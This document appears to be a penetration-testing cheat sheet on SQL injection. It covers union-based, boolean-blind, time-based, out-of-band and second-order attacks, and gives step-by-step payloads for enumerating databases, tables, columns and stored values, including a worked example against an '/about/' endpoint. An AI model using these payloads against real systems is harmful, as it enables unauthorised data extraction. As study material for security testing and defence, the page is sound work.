SQL Injection

SQL Injection (SQLi) is a common and dangerous web security vulnerability that allows attackers to interfere with the queries an application makes to its database.

It occurs when untrusted input is inserted directly into an SQL query without proper validation or sanitization, enabling the attacker to execute malicious SQL commands.

There are various forms of SQL injection attacks, each targeting different aspects of how SQL queries interact with the database.

In-Band

Refers to the same method of communication being used to exploit the vulnerability and also receive the results.

Union-Based

Use the SQL UNION operator to return additional results to the page, letting the extraction of large amounts of data.

Case 1

  • Determining the number of columns

$url/query?$column=$value UNION SELECT 1
$url/query?$column=$value UNION SELECT 1,2   #Try with a extra value
$url/query?$column=$value UNION SELECT 1,2,3 #Try Until there's no message error
#This won't show a message error when the number of columns coincides  

  • Change query value

$url/query?$column=$changedvalue UNION SELECT $found
#Change until no results are shown to determine the value

$found is the union value that has been caught in the previous step


  • Check database name

$url/query?$column=$changedvalue UNION $found,database() #Try to get database
#This will return the name of the DB we are searching

  • Check information schema for DB and tables information

$url/query?$column=$changedvalue UNION $found,group_concat(table_name) FROM information_schema.tables WHERE table_schema = '$dbfound'
#This will return a string with all tables of the database

the $dbfound value is the result of the previous query


  • Check information schema for DB and tables information

$url/query?$column=$changedvalue UNION $found,group_concat(colum_name) FROM information_schema.columns WHERE table_name = '$tablefound'
#This will return a string with all columns of the table

  • Obtain the values that we were looking for

0 UNION SELECT 1,2,group_concat($value1,$value2) FROM $tablefound
#Obtain values from the table we needed

Case 2

  • Check if vulnerable by sending a malformed petition with '

"GET /about/2' HTTP/1.1"
#We obtain a 500 error and this code
<code>SELECT firstName, lastName, pfpLink, role, bio FROM $tablename WHERE id = 2'</code>

  • As we know the number of columns, we make a union to select the column_name parameter and leave the other columns as null to avoid error. Then we obtain info from the default DB information_schema and select the column parameter specifying the name of the table we need

#Make the petition to an invalid value (-1) to avoid displaying an entry of the database instead of the column name
/about/-1 UNION ALL SELECT column_name,null,null,null,null FROM information_schema.columns WHERE table_name='$tablename'

 About | id None #The result obtained in the response

  • Use group_concat() to get all columns

/about/-1 UNION ALL SELECT group_concat(column_name),null,null,null,null FROM information_schema.columns WHERE table_name='$tablename'

About | id,firstName,lastName,pfpLink,role,shortRole,bio,$columname None #The result obtained in the response

  • Obtain the required information from the table

/about/-1 UNION ALL SELECT $columname,null,null,null,null FROM $tablename WHERE id = 1
#The response is the information that we were looking for

Error-Based

Obtaining information about the database structure as error messages from the database are printed directly to the browser screen.

Blind (Inferential)

Results of the attack can't directly be seen on the screen, we get little to no feedback to confirm whether our injected queries were.

Boolean Based

Use the response we receive back from our injection if this only has two outcomes

  • Check if the page has verification queries

$url/$query?$column=$value

  • Use union injection until the state changes

$url/query?$column=$changedvalue' UNION SELECT 1;
$url/query?$column=$changedvalue' UNION SELECT 1,2;   #Try with a extra value
$url/query?$column=$changedvalue' UNION SELECT 1,2,3; #Try Until the result change
#This will determine the number of columns

  • Find database name by iteration

$url/query?$column=$changedvalue' UNION SELECT $found where database() like '%';
#The value % will match anything true
$url/query?$column=$changedvalue' UNION SELECT $found where database() like 'a%'; #Try a
$url/query?$column=$changedvalue' UNION SELECT $found where database() like 'b%'; #Try b
#Repeat with every letter until found a value that gets true
$url/query?$column=$changedvalue' UNION SELECT $found where database() like '$lettera%';
#Make the same process for the next value
$url/query?$column=$changedvalue' UNION SELECT $found where database() LIKE '$letter$letter2a$%';
#Repeat until all DB names have been found

$found is the union value that has been caught in the previous step

$letter is the value that returns true in each iteration


  • Find Table name by iteration

$url/query?$column=$changedvalue' UNION $found FROM information_schema.tables WHERE table_schema = '$dbfound' and table_name LIKE 'a%';
#Repeat until found all table names

  • Find column by iteration

$url/query?$column=$changedvalue' UNION $found FROM information_schema.tables WHERE table_schema = '$dbfound' and table_name = 'table' and column_name LIKE 'a%';
#Make an iterative process to find the column name

  • Find objective value

$url/query?$column=$changedvalue' FROM $table_found WHERE %column_found LIKE 'a%';
#Make an iterative process to find the value needed

  • Handle of value exceptions

$url/query?$column=$changedvalue' UNION $found FROM information_schema.tables WHERE table_schema = '$dbfound' and and tablename != $notobjective and $table_name LIKE 'a%';

$notobjectiverefers to the value that we found but we don't need

Time-Based

Make use of the time a response is generated to the request to determine if the query value was found or not. It is used when we don't get a visual return to the injection.

  • Determining the number of columns

$url/query?$column=$changedvalue' UNION SELECT SLEEP($time);
$url/query?$column=$changedvalue' UNION SELECT SLEEP($time),2;
#Try until the petition time is different

The time of an error request is always less than a correct query


  • Make a Boolean-based iterative process to map DB, tables, and columns you need

#Find DB name, table, and column by an iterative process using sleep
$url/query?$column=$changedvalue' UNION SELECT SLEEP($time),$found FROM information_schema.tables WHERE table_schema = '$dbfound' and table_name = 'table' and column_name LIKE '%';
#The values of each step are dictated by the time the response is sent

  • Make Boolean based iterative process to find the value you need

#Find DB name, table, and column by an iterative process using sleep
$url/query?$column=$changedvalue' UNION SELECT SLEEP($time),$found FROM $table_found WHERE $column_found 

Out Of Band

Depends on the DB feature of making some kind of external network call based on the results from an SQL query. Is classified by having two different communication channels:

  • One to launch the attack where the SQLi can be done to send a query

  • The other is to gather the results by intercepting responses from a database or another external service

Second-Order (Stored)

In this scenario, the attacker injects malicious data into the system that is not immediately executed but is stored and later used by the application. The SQL injection occurs at a later time when the data is used in another query.

Last updated